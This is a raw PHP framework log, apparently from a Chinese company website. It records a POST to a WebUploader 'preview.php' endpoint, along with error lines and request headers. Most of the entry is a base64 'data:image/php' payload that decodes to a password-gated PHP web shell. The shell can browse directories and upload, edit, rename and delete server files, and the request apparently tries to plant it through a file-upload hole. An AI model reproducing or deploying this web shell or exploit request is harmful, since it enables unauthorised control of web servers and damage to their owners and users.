'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'manage' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:26+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002432s] [吞吐率:411.17req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 